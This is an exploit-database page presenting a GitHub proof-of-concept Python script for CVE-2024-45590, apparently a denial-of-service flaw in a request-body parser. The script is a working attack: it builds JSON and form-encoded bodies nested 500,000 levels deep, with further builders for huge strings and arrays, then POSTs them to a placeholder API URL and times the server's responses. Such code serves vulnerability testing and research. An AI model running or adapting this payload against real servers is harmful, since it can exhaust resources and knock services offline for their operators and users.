Exploit databaseDownload repository ZIP
GH-6e346acf003283a4c5eb23689514e196
dhruvik-git/cve-2024-45590
Sources for CVE-2024-45590
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files1
dhruvik-git/cve-2024-45590Revision d85c5e4c73a7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2024-45590.py
Python · 3,038 bytesimport requests
import time
# Adjust Target URL
URL = "https://test.com/api/"
# Common headers (will be extended per content type)
COMMON_HEADERS = {
"User-Agent": "PoC-Tester",
"Authorization": "",
"X-Access-Token": "",
"Accept": "application/json"
}
# -------------------------
# Payload Builders
# -------------------------
def build_nested_description_json(depth: int) -> str:
"""Efficiently builds deeply nested JSON with string multiplication."""
return "{" * depth + '"fuzz"' + "}" * depth
def build_payload_json(depth: int) -> str:
"""Full JSON payload as a raw string."""
description = build_nested_description_json(depth)
return (
'{"test":1,"test2":0,"test3":3,"test4":true,"description":'
+ description +
"}"
)
def build_nested_form(depth: int) -> str:
"""Deeply nested form-encoded payload."""
key = "description" + "[a]" * depth
return f"test=1&test=0&test=3&test=true&{key}=fuzz"
def build_longstring_json(size: int) -> str:
"""Payload with a very large string instead of nesting."""
big_string = "A" * size
return (
'{"test":1,"test2":0,"test3":3,"test4":true,"description":"'
+ big_string +
'"}'
)
def build_arraybomb_json(size: int) -> str:
"""Payload with a huge array."""
array = ",".join(['"fuzz"'] * size)
return (
'{"major":1,"minor":0,"patch":3,"isActive":true,"description":['
+ array +
"]}"
)
# -------------------------
# Request Sender
# -------------------------
def send_payload(depth: int):
json_payload = build_payload_json(depth)
form_payload = build_nested_form(depth)
# --- JSON ---
headers = COMMON_HEADERS.copy()
headers["Content-Type"] = "application/json"
print(f"\n[+] Sending application/json payload (depth={depth})")
print(f"[+] Payload size: {len(json_payload)} bytes")
start = time.time()
r = requests.post(URL, headers=headers, data=json_payload)
elapsed = time.time() - start
print(f"[+] Response code: {r.status_code} in {elapsed:.2f}s")
print("[+] Response headers:")
for k, v in r.headers.items():
print(f" {k}: {v}")
print(f"[+] Response body:\n{r.text}\n")
# --- FORM ---
headers = COMMON_HEADERS.copy()
headers["Content-Type"] = "application/x-www-form-urlencoded"
print(f"[+] Sending application/x-www-form-urlencoded payload (depth={depth})")
print(f"[+] Payload size: {len(form_payload)} bytes")
start = time.time()
r = requests.post(URL, headers=headers, data=form_payload)
elapsed = time.time() - start
print(f"[+] Response code: {r.status_code} in {elapsed:.2f}s")
print("[+] Response headers:")
for k, v in r.headers.items():
print(f" {k}: {v}")
print(f"[+] Response body:\n{r.text[:100]}\n")
if __name__ == "__main__":
depth = 500000 # adjust this
send_payload(depth)